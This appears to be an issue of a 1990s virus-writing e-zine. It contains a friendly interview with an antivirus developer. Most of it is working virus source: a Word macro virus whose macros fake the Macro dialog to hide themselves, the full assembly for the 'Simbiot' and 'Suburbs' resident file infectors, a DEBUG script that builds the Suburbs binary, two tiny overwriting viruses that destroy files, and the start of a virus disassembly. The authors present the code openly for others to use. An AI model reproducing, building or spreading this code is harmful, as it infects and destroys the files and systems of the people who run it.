UserDialog 800, 300, "Dear Word User... Congratulations!! ;-) It's WordMacro.Lithium.A by DarkSide1" Text 125, 10, 600, 50, msg0$ Text 155, 36, 600, 50, msg1$ Text 155, 48, 600, 50, msg2$ Text 155, 60, 600, 50, msg3$ Text 155, 72, 600, 50, msg4$ Text 155, 96, 600, 50, yeaa$ Text 155, 120, 600, 50, msg5$ Text 155, 132, 600, 24, msg6$ Text 155, 144, 600, 36, msg7$ Text 155, 156, 600, 36, msg8$ Text 155, 180, 600, 50, yeaa$ Text 155, 204, 600, 36, msg9$ Text 155, 216, 600, 36, msg10$ Text 155, 228, 600, 36, msg11$ Text 155, 240, 600, 36, msg12$ PushButton 100, 270, 570, 24, darkside1$ End Dialog Redim Pdlg As UserDialog Dialog Pdlg Endlg: End Sub =========end macro============================ *********************************************** * Macro : ToolsMacro * * Comment: Stealth in word english version * *********************************************** =========begin macro========================== Sub MAIN On Error Goto Jeje B$ = "Out of memory." C$ = "WordBasic Err = 7" Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot(Global Template)" A: Begin Dialog UserDialog 442, 320, "Macro" CancelButton 290, 38, 141, 21 PushButton 290, 14, 141, 21, "Rec&ord...", .D2 PushButton 290, 72, 141, 21, "&Run", .D3 PushButton 290, 97, 141, 21, "&Create", .D4 PushButton 290, 125, 141, 21, "&Delete", .D5 PushButton 290, 161, 141, 21, "Or&ganizer...", .D6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 93, 13, "Macros &Available In:", .T1 Text 7, 259, 109, 13, "Description:", .T2 Text 7, 7, 93, 13, "&Macro Name:", .T3 ListBox 7, 276, 425, 38, ListBox1$(), .LB1 DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2 End Dialog Redim dlg As UserDialog x = Dialog(dlg) Select Case x Case 0 Cancel Case 1 MsgBox B$, C$, 48 Goto A Case 2 MsgBox B$, C$, 48 Goto A Case 3 MsgBox B$, C$, 48 Goto A Case 4 MsgBox B$, C$, 48 Goto A Case 5 Call Lithium End Select Jeje: End Sub =========end macro============================ *********************************************** * Macro : HerramMacro * * Comment: Stealth in word spanish version * * the same macro to ToolsMacro * *********************************************** =========begin macro========================== Sub MAIN On Error Goto Jeje : B$ = "Falta de Memoria" C$ = "WordBasic Err = 7" Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot (Plantilla Global)" A: Begin Dialog UserDialog 442, 320, "Macros" CancelButton 290, 38, 141, 21 PushButton 290, 14, 141, 21, "G&rabar...", .D2 PushButton 290, 72, 141, 21, "&Ejecutar", .D3 PushButton 290, 97, 141, 21, "&Crear", .D4 PushButton 290, 125, 141, 21, "&Borrar", .D5 PushButton 290, 161, 141, 21, "&Organizador...", .D6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 193, 13, "M&acros disponibles en:", .T1 Text 7, 259, 109, 13, "Descripcin:", .T2 Text 7, 7, 193, 13, "&Nombre de la Macro:", .T3 ListBox 7, 276, 425, 38, ListBox1$(), .LB1 DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2 End Dialog Redim dlg As UserDialog x = Dialog(dlg) Select Case x Case 0 Cancel Case 1 MsgBox B$, C$, 48 Goto A Case 2 MsgBox B$, C$, 48 Goto A Case 3 MsgBox B$, C$, 48 Goto A Case 4 MsgBox B$, C$, 48 Goto A Case 5 Call Lithium End Select Jeje: End Sub =========end macro============================ \ \ \ \__ / \ / _\ ( / / / / \ \ (_( (/ /_> \) _ _ _ ___ ___ ___ _ _ _ ___ _ _ ( ( | |\ | | | |___| | | | | | | | \ \ | | \ | | |-- | \ | | | |-- | | | \) | | \| | |___ | \ \___/ | |___ |__|__| Here is a quick interview with the maker of F/WIN and Suspicious. => Stefan Kurtzhals. ============================================================================= '>' is Nightmare Joker no '>' is Stefan Kurtzhals ============================================================================= > Who are you exactly? Introduce yourself. Well, born on the 15.12.1972, I am currently studying electrical engineering at the University of Wuppertal. Beside studying and working on my AV programs I like to hang around on IRC (molesting people on #virus is sometimes quite funny :) ), read books (all kind of SF and fantasy, I prefer to read the original English versions because the German translations are mostly very bad), listening to music (EBM and Wave, mostly electronical things but I actually hate Techno (ARGH!) and similar rubbish), playing computer games (preferring network games, I usually only play (GL)Quake, and if the German Telekom will be able to install ISDN here within this century, I will most likely join one of the Quake clans :) ) and such things. I got my first computer at the fall of 1986, of course a Commodore 64. :) After about 6 months I came to the conclusing that coding Assembler is by far superior to BASIC (I noticed that in ASM, you can change screen colors within every rasterline :) ) and started learning Assembler. I was busy coding demos and games on the C64, visiting demo parties and such things until the end of 1991 when I got my first PC, a 80286/16 MHz with 4 MB of RAM and a 85 MB HDD. After about some weeks I caught my first PC virus, Flash.688.A and was at once fascinated by the idea behind it. I started to learn 80x86 assembler language and disassmbled every virus I could find on the computers around, such as Flash, Stoned, Parity_Boot.B, Tequila (that one was funny, I didn`t realize at that time that Tequila infects both MBR and EXE files and low-level formated my HDD almost every day to get rid of the virus :) ), Form and other common viruses. I also started to write my first AV program, SYANBOOT at that time, followed by SSC, SVS, SCRC, SDISK and MEMCHK (the SUSPICIOUS package). From the beginning I was prefering all kind of generic virus detection and I focused on writing heuristic detections. When the first macro viruses for Winword poped up 1995, I started to write a heuristic scanner for macro viruses, F/WIN. > How many years have you been part of the anti virus scene? Since 1992. I wish I had the chance to join earlier because the really interesting time was around 1987-1991. > What was your your first av program? No, I didn`t wrote any Stoned cleaner :) (at the time I started with AV, Stoned was almost extinct and I only found it on some *very* old 360 KB disks). My first AV program was "SYANBOOT", some boot protection tool that stored copies of the MBR and the bootsector and used saved interrupt vectors to bypass stealth bootviruses. It was very simple, but I kept the ugly color scheme for my programs until today. :) And like all my programs it was written in Assembler. > Have sales of your AV products increased or decreased? They are just stable. It depends if my programs get mentioned in some popular computer magazine, then they increase for a while. > Do you see the number of new macro viruses increasing or > decreasing over the coming months, to a year? The number is actually exploding and we can expect to reach at least 1000 if not 2000 or more macro viruses at the end of 1997 (there are about 650 known ones at the moment). The reasons for this are simple: it`s too easy to write a macro virus (just take a look at WINWORD.HLP) and Winword itself creates new, slightly corrupted variants due to bugs in some critical DLLs. > What do you think about: --> Java I think it`s just a nice toy for the computer industry so far. Net computers will never become widespread when the software keep on growing this way (ok, we all want to download some MBs of data every time we want to write letters, don`t we?) and the telephone companies keep on charging high prices. --> ActiveX Never heard about it. :) --> Office 97? Yet another virus platform the AV must care about. :( --> Microsoft Hrmph... They really should have learned some lessons about how to do secure programs since the first version of MS-DOS, don`t they? :( > If you could change anything about the Anti-Virus industry, what > would it be? a) That some companies stop claiming their program is detecting 100% of all viruses ("past, present and future"...). There is no 100% detection or cleaning of viruses. Some if not most AV advertisement is simply ridiciulous - that is what happens if some merchandizers make advertisement for high-tech products they don`t understand at all. It`s funny to see that the products with the least level of perfection and features have the highest advertisement presence - and especially these companies exagerate too much then. b) That some AV companies stop their childish press release wars (and similar things). They really have better things to do. :( > Do you have any future plans? Regarding my AV programs: Finishing F/WIN32 with a *real* macro heuristic and VxD based virus scanning, adding VBA5.0 support etc. . About other things, well, I don`t have much time to think about that. :) > Do you feel the window into anti virus programming is still open > or has the ship left the dock already, its too steep a learning > curve for beginners? Regarding how fast Microsoft invents new and even more complex virus platforms I think it`s getting almost impossible to create a really useful AV program nowadays with unique features. Even the deafest AV companies noticed that some degree of generic virus detection (and cleaning) is useful (alas, there are still some products that don`t have heuristics). The number of viruses keeps on growing very fast (though the DOS virus increase is slowing down), you really need a person which is busy just sorting and managing the virus base. Then you need a DOS coder, a Windows coder (better three or more because Windows coder tend to waste much time playing Mine Sweeper and such things :) ), some experts to analyse new viruses, new file formats and so on. And I think it`s difficult to find really talented coders nowadays that care about the necessary low level stuff. Visual programming has it`s disadvantages, sure... > How many virus programmer have you allready persuaded > to stop their work. (don't say noone. ;)) Hehe. None. They currently stopped because they got bored writing viruses or reading stupid interviews. ;) I actually cannot even persuade myself to do some work, get up early etc, how should I be able to persude other ones then? :) Actually I sometimes have the impression that F/WIN has the opposing effect - some ******* think it`s a good idea to write some anti-F/WIN virus everytime I release a new version. :( > If the anti virus people went by handles, what would you call > yourself and why? I only use a handle on IRC, and I choosed it from some funny Robert Asprin books I read a long time ago. The person with that name is exceptionally lazy and dull, but he also has much luck. I think that describes me good enough, doesn`t it? :) > Do you think it's possible to make the PERFECT av program? > I mean a av program that find/remove all present/past viruses. There is no perfect AV program. The day after you released it, some virus writer will find a weak point in it and write an virus called "AntiXYZ". And the day after that the AV program get`s improved. This will never stop, but maybe some day the operating systems get so complex that writing a virus is impossible because the virus writer cannot afford to buy the necessary information from the operating system company, but the AV companies still can afford buying it. > What do you think is the best asm virus at the moment? I haven`t looked at ASM viruses for a while because they are all getting so boring. How do you define "best"? Best polymorphic engine, best stealth, most tricky infection method or best code "design"? Usually, the DOS viruses that try to combine that all into their code are very buggy and will never spread at all. And doesn`t it seems senseless to write a very complex polymorphic engine when some AV programs will rip it away within some days or even hours of improvements? Or write a very unique infection method when there are very little files of the type the virus can infect? ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- The second part will be probably in SLAM 3. ;) Info for all, who think now: "Hey, he has stolen the question from some other interviews!" I have taken it, because they are good and I think that's the things, we all want to know. Moreover I didn't have at last enough time. ;) - Nightmare Joker - ;Simbiot virus. Written special for SLAM issue#2. ;It's not completed virus, it's only foundation for real good virus. ; ;Oneday i was reading virus-list of one russian antivirus, and there ;i found description of one interesting virus. Long time I search this ;virus, and when Night Joker connected with me firsts onces i decided to ;write the virus with 'Simbiotic' algorithm of infection. ; ;All parts of this virus is mostly standartized and there are nothing ;interesting for real virusmakers but the virus has one interesting ;part. This part is remarked in detail. ; ;Every virus sets jumping to own body at the firsts bytes of the infecting ;file and it helps to all heuristic analisators found the virus in the file. ;But these jumps we can mask! ;Almost every program have commands like this: ;B8???? mov ax,numbers ;CD21 int 21h ;If we'll be find these bytes and change them to call to body of the virus, ;and if we'll extract back-address from the stack (not need to save address ;in the virus's body) antivirus would have never seek it. ;I was realised this algorithm for COM files... ;If anybody want to complete this, o.k., go on! :) ; ;Death Knight [SLAM] .model tiny .code length equ finish-main memory equ (length+17)/8 ;length (in paragraphs+1)*2 off1 equ (4*21h) off2 equ (4*21h+2) int21 macro call int21h endm org 0 start: main: call $+3 pop si sub si,3 push ax bx cx dx si di ds es pushf mov ax,0ACCEh int 21h cmp ax,1997h jz already mov ax,ds dec ax mov ds,ax mov ah,ds:[0] cmp ah,'Z' jne already xor di,di mov cx,length mov ax,ds:[3] sub ax,memory mov ds:[3],ax mov ax,ds:[12h] sub ax,memory mov ds:[12h],ax mov es,ax push cs pop ds cld repz movsb cli xor ax,ax mov ds,ax mov ax,ds:[off1] mov si,offset handl mov es:[si],ax mov ax,ds:[off2] mov es:[si+2],ax mov si,offset newint mov ds:[off1],si mov ds:[off2],es sti already:popf pop es ds di si dx cx bx ax add si,offset blocks cmp word ptr cs:[si],'ZM' jz exesh pop di push di movsw movsw ret exesh: mov dx,ds add dx,10h mov cx,dx add cx,word ptr cs:[si+0eh] cli mov ss,cx mov sp,word ptr cs:[si+10h] sti add dx,word ptr cs:[si+16h] push dx push word ptr cs:[si+14h] retf int21h: pushf call dword ptr cs:[handl] ret db '>SimbioT<' go_int: db 0eah handl: dd ? newint: cmp ax,0ACCEh jnz nes1 mov ax,1997h iret nes1: cmp ax,4b00h jz hahaha jmp go_int db '>[SLAM]<' hahaha: push ax bx cx dx si di es ds call infec pop ds es di si dx cx bx ax jmp go_int infec: push cs pop es push si mov bx,offset no_inf mov di,9 ;number=no_inf-1 ggg1: mov cx,8 ggg2: push di cx add di,bx mov si,cx add si,dx mov ax,word ptr es:[di] cmp ax,word ptr ds:[si] pop cx di jz ennn cmp al,'.' jz ennn loop ggg2 dec di cmp di,0 jnz ggg1 pop si jmp okk ennn: pop si ret alread2:jmp alread okk: mov ax,ds mov word ptr cs:[attrib1+1],ax ;save filename mov word ptr cs:[attrib2+1],dx ;address mov ax,4300h int21 mov word ptr cs:[attrib3+1],cx ;save attributes xor cx,cx ;set attributes mov ax,4301h int21 openn: mov ax,3D02h ;open a file int21 mov bx,ax ;copy handler to BX push cs pop ds mov ax,5700h ;get file time & date int21 mov word ptr ds:[time1+1],dx ;save date mov word ptr ds:[time2+1],cx ;save time ;------------------------------------------------------------------------------ call check ;call infection check jz alread2 call comexe ;call com or exe check jz exec cmp word ptr cs:[lengg1],61000 ;check higer border of com file mov byte ptr cs:[offset coex],2 jnc alread2 call com_in cmp byte ptr cs:[chh],0 jz alread2 jmp nez exec: mov ax,word ptr cs:[offset lengg1] mov dx,word ptr cs:[offset lengg2] mov byte ptr cs:[offset coex],1 push ax dx mov cx,200h div cx inc ax mov di,offset blocks cmp ax,[di+4] jnz aganx cmp dx,[di+2] aganx: pop dx ax jnz alread3 jmp nez alread3:jmp alread2 nez: mov ax,4202h xor cx,cx xor dx,dx int21 push cs ; mov ah,40h ;saving xor dx,dx ; virus mov cx,length ; block pop ds ; int21 ; cmp byte ptr cs:[offset coex],2 jz comme mov ax,word ptr cs:[offset lengg1] mov dx,word ptr cs:[offset lengg2] push ax dx add ax,length adc dx,0 mov cx,200h div cx inc ax mov word ptr cs:[di+4],ax mov word ptr cs:[di+2],dx pop dx ax push si mov si,[di+8] mov cl,4 shl si,cl sub ax,si pop si sbb dx,0 mov cx,10h div cx mov word ptr cs:[di+22],ax mov word ptr cs:[di+20],dx mov word ptr cs:[di+14],ax jmp nes2a comme: jmp alread mov ax,word ptr cs:[offset lengg1] mov byte ptr cs:[offset blocks],0E9h sub ax,3 mov word ptr cs:[offset blocks+1],ax nes2a: mov ax,4200h xor cx,cx xor dx,dx int21 push cs pop ds mov ah,40h mov cx,18h+2 mov dx,offset blocks int21 ;------------------------------------------------------------------------------ alread: mov ax,5701h ;set saved time1: mov dx,0 ;date & time2: mov cx,0 ;time dec cx int21 mov ah,3Eh ;file closing int21 mov ax,4301h attrib1:mov dx,0 ; mov ds,dx attrib2:mov dx,0 attrib3:mov cx,0 int21 no_no: ret check: mov ax,4202h push ax xor cx,cx xor dx,dx int21 mov word ptr cs:[lengg1],ax mov word ptr cs:[lengg2],dx cmp ax,2048 ;check lower border of any type file mov cx,dx mov dx,ax pop ax jnc trrr mov al,55 jmp laaa trrr: sub dx,2 sub al,2 int21 push cs pop ds mov dx,offset blocks mov cx,2 mov ah,3Fh int21 mov ax,word ptr ds:[blocks] add al,ah laaa: cmp al,55 ret comexe: xor cx,cx xor dx,dx mov ax,4200h int21 push cs pop ds mov dx,offset blocks mov ah,3Fh mov cx,18h+3 int21 cmp word ptr cs:[blocks],'ZM' ret com_in: push di si ;Here's begin cool routine mov byte ptr cs:[chh],0 ;simbiotic checker to 0 xor dx,dx ;position to the mov ax,4200h ;start of the file xor cx,cx ; int21 ; mov di,0-200h ;initial of block's counter push cs cs ; pop ds es ; label1: add di,200h ;adding read block mov word ptr cs:[offset itsall2+1],di ;saving it in seek pointer mov dx,offset sbm ;buffer for reading push dx ;save address of this buffer mov ah,3Fh ;reading mov cx,200h ;200h bytes from int21 ;infecting file pop si ;remind buffer from the stack push ax ;save deal of readen bytes sub ax,6 ; add si,3 ; push ax ;this is number of loops pop cx ;for finding labb1: cmp word ptr cs:[si],21cdH ;it find 'int 21h' instruction jnz labb2 ;in readden block cmp byte ptr ds:[si-3],0B8h ;it see for instruction 'mov ax,????' jz itsall ;if found - go to infection cmp byte ptr ds:[si-2],0B4h ;it see for instruction 'mov ah,??' jz itsall ;if found - go to infection labb2: inc si ; loop labb1 ; pop ax ;remind deal of readen bytes cmp ax,200h ; jz label1 ;if not 200h then pop si di ;return without ret ;infection :( itsall: pushf ; push ax ; itsall2:mov dx,0 ;sets pointer to the start xor cx,cx ;of the found block mov ax,4200h ; int21 ; mov dx,ax ;calculating mov ax,word ptr cs:[lengg1] ;call-address sub ax,dx ; pop dx ; sub ax,dx ; sub ax,6 ; mov dx,word ptr cs:[si] ;saving mov word ptr cs:[offset blocks],dx ;four mov dx,word ptr cs:[si+2] ;original mov word ptr cs:[offset blocks+2],dx ;bytes mov byte ptr cs:[si],'' ;setting mov word ptr cs:[si+1],ax ;'Call'command popf ; pop cx ;saving mov ax,4000h ;infected mov dx,offset sbm ;block push cs ;to the pop ds ;file int21 ; pop si di ; mov byte ptr cs:[chh],1 ;o.k. i did it! ret ; blocks: db 0cdh,21h db 90h db 18h dup(?) no_inf db 'INCOAIWEWI' db 55 db 0 finish: coex: db ? lengg1: dw ? lengg2: dw ? ogy: db ? numm: dw ? chh: db ? sbm: dw ? end start Ŀ Suburbs virus (c) 1997, by Virtual Daemon of SLAM Here's the source for the Suburbs virus. I made him a couple of time ago, when I didn't know how to do a REAL virus... ;-) The source is commented enough to understand it (I think), so you shouldn't have any difficulties... The virus is kind of lame, but it use a good method for going resident, so if you don't know it already, here's the chance for you to learn it! Ok. Here's some info about it... Virus Name: Suburbs (level 16 of DOOM ][) Virus Author: Virtual Daemon Virus Group: SLAM Virus Team Virus Size: 400 bytes Features: - resident encrypted COM infector with INT21h handler - infect on 4bh (execute) - use 80286 instructions (8086 are dead! :) - use the free space at the end of the interrupt table at 0:0200h => can't be seen with programs like MEM or TSRLIST and it doesn't take 1K from 640! :) - use INT24 handler (doesn't display errors) - save/restore file time/date/attributes - very simple encryption of the 3 bytes from JMP - no payload... sorry! :-( ---------------------------------- cut here ----------------------------------- ; ; To build this shit use: tasm suburbs.asm ; tlink /t suburbs.obj ; .286 ;use 80286 instructions (can be modified easily to work with 8086) code segment byte assume cs:code,ds:code org 100h begin: db 0e9h ;jmp to virus_start len dw 8 ;offset begin+8 bytes - where to Jump db '$' db '$' db 5 dup(90h) ;5 NOP's+RET=a simple program so the virus can work ret virus_start: jmp install ;install the virus in memory new24handler equ $-virus_start int24handler: mov al,3 ;return to program indicating a failed DOS function iret ;return from interrupt new21handler proc cmp ah,4bh ;4bh=execute a file je infect_it ;cool... a file was executed! let's infect it! jmp restore_interrup infect_it: pusha ;save registers: ax,bx,cx,dx,bp,si,di,ds,es push ds push es mov ax,4300h ;DOS function = get file attributes int 21h push cx ;save file attribute push ds ;save the ASCIIZ adress of file push dx mov ax,4301h ;DOS function = set new file attributes xor cx,cx ;cx=0 => file attribute=normal file int 21h mov ax,3d02h ;DOS function = open file for read-write int 21h xchg bx,ax ;save handle in bx mov ax,0020h mov ds,ax ;set DS to new adress mov word ptr ds:[buffer],bx ;save file handle mov ax,3524h ;DOS function = get interrupt vector (INT 24h) int 21h push es ;save INT 24h segment push bx ;save INT 24h offset mov ax,2524h ;DOS function = set interrupt vector (INT 24h) mov dx,new24handler ;make it point to our procedure int 21h infectfile: mov bx,word ptr ds:[buffer] ;restore file handle mov ax,5700h ;DOS function = get file time/date int 21h push dx ;save date push cx ;save time mov ah,3fh ;DOS function= read from file mov dx,buffer ;save into 'buffer' mov cx,3 ;read 3 bytes int 21h jnc continue ;if no error then continue jmp close_file ;else close the file and return to original program continue: cmp word ptr ds:[buffer],'ZM' ;check too see if file is EXE je close_file ;is EXE? Then exit cmp word ptr ds:[buffer],'MZ' ;check again for EXE (in ZM form) je close_file ;is EXE? Then exit mov ax,4200h ;DOS function = set file pointer xor cx,cx mov dx,word ptr ds:[buffer+1] ;seek to beginning+0:[buffer+1]+3 add dx,3 int 21h mov ah,3fh ;DOS function = read from file mov dx,virus_end+2 ;from virus_end+2 mov cx,3 ;read 3 bytes int 21h cmp byte ptr ds:[virus_end+2],0e9h ;check if already infected je close_file encrypt: xor byte ptr ds:[buffer],33 ;encrypt the 3 bytes from JMP xor byte ptr ds:[buffer+1],133 xor byte ptr ds:[buffer+2],45 mov ax,4202h ;DOS function = set file pointer xor cx,cx ;seek to EOF xor dx,dx int 21h mov bp,ax ;bp=ax=filesize mov ah,40h ;DOS function = write to file xor dx,dx ;current buffer mov cx,virus_end ;number of bytes=virus_end int 21h jc close_file ;if error then close the file mov ax,4200h ;DOS function = set file pointer xor cx,cx ;seek to beginning xor dx,dx int 21h mov si,virus_end+1 mov byte ptr ds:[virus_end+1],0e9h ;put the JMP code (0e9h) mov ax,bp ;bp=filesize sub ax,3 ;ax=filesize-3 (size of JMP code) mov word ptr ds:[virus_end+2],ax ;save the 2nd & 3rd bytes in JMP mov dx,virus_end+1 ;write new JMP (3 bytes) mov ah,40h ;DOS function = write to file mov cx,3 int 21h close_file: mov ax,5701h ;DOS function = set file date/time pop cx ;restore time pop dx ;restore date int 21h mov ah,3eh ;DOS function = close file int 21h pop dx ;restore INT 24h offset pop ds ;restore INT 24h segment mov ax,2524h ;DOS function = set interrupt vector (for INT 24h) int 21h mov ax,4301h ;DOS function = set file attributes pop dx ;restore the ASCIIZ adress of file pop ds pop cx ;restore file attributes int 21h pop es ;restore saved registers pop ds popa restore_interrup: db 0eah ;jmp to old INT21h vector add21 equ $-virus_start int21offset dw 0 ;old INT21h offset int21segment dw 0 ;old INT21h segment new21handler endp install: db 66h ;for Sourcer :^) pusha ;save all registers push ds push es mov di,ds mov ax,20h mov ds,ax cmp word ptr ds:[0],0 ;check to see if already installed jne quit mov ds,di xor ax,ax ;save the old INT 21h interrupt vector using direct mov es,ax ;manipulation mov di,21h*4 mov ax,es:[di] mov bx,es:[di+2] mov si,[len] add si,add21+103h mov word ptr cs:[si],ax mov word ptr cs:[si+2],bx xor ax,ax mov di,ax mov si,[len] add si,100h+3 push cs pop ds mov ax,0020h ;copy virus to memory mov es,ax mov cx,virus_end rep movsb xor ax,ax ;set new INT 21h handler mov es,ax mov di,21h*4 mov word ptr es:[di],6 mov ax,0020h mov word ptr es:[di+2],ax quit: mov ax,cs mov ds,ax mov es,ax mov si,[len] ;get the 3 bytes from buffer in si register add si,100h+buffer+3 decrypt: xor byte ptr ds:[si],33 ;decrypt the 3 bytes xor byte ptr ds:[si+1],133 xor byte ptr ds:[si+2],45 mov di,100h ;copy the 3 bytes from JMP mov cx,3 rep movsb pop es ;restore saved registers pop ds popa push 100h ;return to host ret buffer equ $-virus_start jmpbyte1 db 177 ;the JMP instruction encrypted with a simple XOR jmpbyte2 db 21 jmpbyte3 db 189 virus_author db '[VD/SLAM]',0 virus_name db 'Suburbs',0 virus_end equ $-virus_start code ends end begin --------------------------------- cut here ---------------------------------- Here's a copy of Suburbs in debug script format for those who don't have Turbo Assember/Linker. Just enter DEBUG < script_name. --------------------------------- cut here ---------------------------------- N SUBURBS.COM E 0100 E9 08 00 24 24 90 90 90 90 90 C3 E9 F3 00 B0 03 E 0110 CF 80 FC 4B 74 03 E9 E3 00 60 1E 06 B8 00 43 CD E 0120 21 51 1E 52 B8 01 43 33 C9 CD 21 B8 02 3D CD 21 E 0130 93 B8 20 00 8E D8 89 1E 7B 01 B8 24 35 CD 21 06 E 0140 53 B8 24 25 BA 03 00 CD 21 8B 1E 7B 01 B8 00 57 E 0150 CD 21 52 51 B4 3F BA 7B 01 90 B9 03 00 CD 21 73 E 0160 03 EB 7C 90 81 3E 7B 01 4D 5A 74 73 81 3E 7B 01 E 0170 5A 4D 74 6B B8 00 42 33 C9 8B 16 7C 01 83 C2 03 E 0180 CD 21 B4 3F BA 92 01 90 B9 03 00 CD 21 80 3E 92 E 0190 01 E9 74 4B 80 36 7B 01 21 80 36 7C 01 85 80 36 E 01A0 7D 01 2D B8 02 42 33 C9 33 D2 CD 21 8B E8 B4 40 E 01B0 33 D2 B9 90 01 90 CD 21 72 25 B8 00 42 33 C9 33 E 01C0 D2 CD 21 BE 91 01 90 C6 06 91 01 E9 8B C5 2D 03 E 01D0 00 A3 92 01 BA 91 01 90 B4 40 B9 03 00 CD 21 B8 E 01E0 01 57 59 5A CD 21 B4 3E CD 21 5A 1F B8 24 25 CD E 01F0 21 B8 01 43 5A 1F 59 CD 21 07 1F 61 EA 00 00 00 E 0200 00 66 60 1E 06 8C DF B8 20 00 8E D8 83 3E 00 00 E 0210 00 75 4B 8E DF 33 C0 8E C0 BF 84 00 26 8B 05 26 E 0220 8B 5D 02 8B 36 01 01 81 C6 F5 01 2E 89 04 2E 89 E 0230 5C 02 33 C0 8B F8 8B 36 01 01 81 C6 03 01 0E 1F E 0240 B8 20 00 8E C0 B9 90 01 90 F3 A4 33 C0 8E C0 BF E 0250 84 00 26 C7 05 06 00 B8 20 00 26 89 45 02 8C C8 E 0260 8E D8 8E C0 8B 36 01 01 81 C6 7E 02 80 34 21 80 E 0270 74 01 85 80 74 02 2D BF 00 01 B9 03 00 F3 A4 07 E 0280 1F 61 68 00 01 C3 B1 15 BD 5B 56 44 2F 53 4C 41 E 0290 4D 5D 00 53 75 62 75 72 62 73 00 RCX 019B W Q --------------------------------- cut here ---------------------------------- Virtual Daemon Viral Development Researcher & Virii Colector Member of SLAM Virus Team Network Administrator E-mail: virtual_daemon@hotmail.com Web: http://www.geocities.com/SiliconValley/Heights/3334 Ŀ The Smallest virii out there, by Virtual Daemon of SLAM The SLAM Terror Corpse presents... the SMALLEST virii ever!!! Hi there guys! Well, here are the smallest overwritting virii known in the world (made by me, of course ;)! If anyone has done anything smaller then this, PLEASE let me know... :) The reason that I'm presenting 2 virii is that the smallest virus that I've managed to make is makeing your computer to jump in an infinite loop so to continue, you must reboot your computer. So, the first virus presented here is the longer version (31 bytes) that will return to DOS after infection is done. The 2nd virus presented is only 23 bytes, but like I said, to continue you have to reboot your computer. Here goes the first one... -------------------------------- cut here --------------------------------- ; Virus Name: The Smallest (cool name, ha'? :) ; Virus Author: Virtual Daemon ; Virus Group: SLAM Virus Team ; Virus Size: 31 Bytes ; Creation Time: about 3 min (original) + a little update (1 min) ; ; Some info: This is the smallest virus in the world (at this point) which ; return to DOS prompt after infection. It doesn't put you computer ; in an infinite loop when infecting. That's why I think this is the ; smallest overwritting working virus in the world. ; ; Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;) ; I know that we're in 1997 (not in 1992) but what'a fuck? ; Btw: I don't do shit stuff like this all day... I just un-packed a YAM ; magazine and I saw "The Smurf virus", so... ; ; About the virus: - runtime overwritting virus ; - infect 1 file (of any kind) from current directory ; .model tiny .code org 100h ;COM file start: mov ah,4eh ;find first file lea dx,filespec ;what kind of files to search for mov cl,20h ;cx=attribute int 21h mov ax,3d02h ;open the file for reading & writting mov dx,9eh ;get file name from DTA int 21h xchg bx,ax ;save file handle in BX (stupid DOS... :) mov ah,40h ;write the virus to file lea dx,start ;begin with 100h dec cx ;size of virus int 21h ret ;return filespec db '*.*',0 ;we'll be looking for this kind of files end start -------------------------------- cut here --------------------------------- And here goes the second... -------------------------------- cut here --------------------------------- ; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...) ; Virus Author: Virtual Daemon ; Virus Group: SLAM Virus Team ; Virus Size: 23 Bytes ; Creation Time: about 2 min .model tiny .code org 100h ;COM file start: filespec db '*.*',0 ;we'll be looking for this kind of files ;this is replaced by a SUB CH instruction mov ah,4eh ;find first file intr: mov dx,si ;dx=si=100h=filespec int 21h mov ax,3d02h ;open the file for reading & writting mov dx,9eh ;get file name from DTA int 21h xchg bx,ax ;save file handle in BX (stupid DOS... :) mov ah,40h ;write the virus to file jmp short intr ;jmp to intr where dx will take the value 100h end start -------------------------------- cut here --------------------------------- Virtual Daemon Viral Development Researcher & Virii Colector Member of SLAM Virus Team Network Administrator E-mail: virtual_daemon@hotmail.com Web: http://www.geocities.com/SiliconValley/Heights/3334 Ŀ "Jos Iliescu!" Virus Dissasembled by Virtual Daemon of SLAM Before we begin here's some words from Patricia Hoffman (fat bitch). Note: the words between "<>" are my comments... ----------------------------------------------------------------------- Virus Name: Jos Aliases: V Status: Rare <"Rare" my ass! This shit has scared millions of fouls :)> Discovered: November, 1992 Symptoms: .COM file growth; TSR Origin: Romania Eff Length: 1,000 Bytes Type Code: PRsC - Parasitic Resdent .COM Infector Detection Method: blah, blah, blah .... :) Removal Instructions: Delete infected files. General coments: The Jos virus was submitted in November, 1992. It is originally from Romania. Jos is a memory resident infector of .COM programs, but not COMMAND.COM. When the first Jos infected program is executed, the Jos virus will install itself memory resident as a low system memory TSR of 1,312 bytes. Interrupts 09 and 21 will be hooked by Jos in memory. Once the Jos virus is memory resident, it will infect .COM programs when they are executed. Infected programs will have a file length increase of 1,000 bytes with the virus being located at the beginning of the file. The program's date and time in the DOS disk directory listing will not be altered. The following text strings are visible within the viral code in all Jos infected programs: "JABBERWOCKY , the first Romanian Political Virussian" "DhoE1" "Dhohoho" "Release date 12-22-1990" Jos is not related to the JW2 or Jabberwocky virus. It it unknown what Jos does besides replicate. --------------------------------------------------------------------------- Ok. Now that you've seen this shit, let me explain what the virus actions are... I'm not gonna tell you how it infect files, or how it's going resident... The source is well comented (I think), so if you can't understand it, then you're a BIG LAMER! And lamers must be killed... ;-) Like you've seen above, the "Jos Iliescu!" virus will hook (if resident) the interrupts 09 and 21. Interrupt 21 is obviously why it's hooked, because virus needs it to infect files via 4bh (file execute). But what you don't know is what for interrupt 09 is hooked. Well, I'll tell ya'! :) Everytime a key is pressed the interrupt 09 is activated... The virus reads if the keys "j", "o" and "s" are typed, and if true it will add the word " ILIESCU! ". Btw: Iliescu was a president of Romania from 23 dec. 1989 (the revolution) till 14 nov. 1996. For the people out there who doesn't know what the word "jos" means: "jos" means down. Down with Iliescu president! That's what this virus is all about...:) My opinion is that the virus is made by a comunist or by a person who didn't liked the revolution... The virus use some "never seen before" (well, very rare not never seen) methods for going resident, so it was cool to dissasemble it! :) Well, I think that's all... The source is here! You're free to use anything that you like, without giving credit to no one, because I don't know who's the author of the virus. Enjoy! To build this type: tasm iliescu.asm tlink 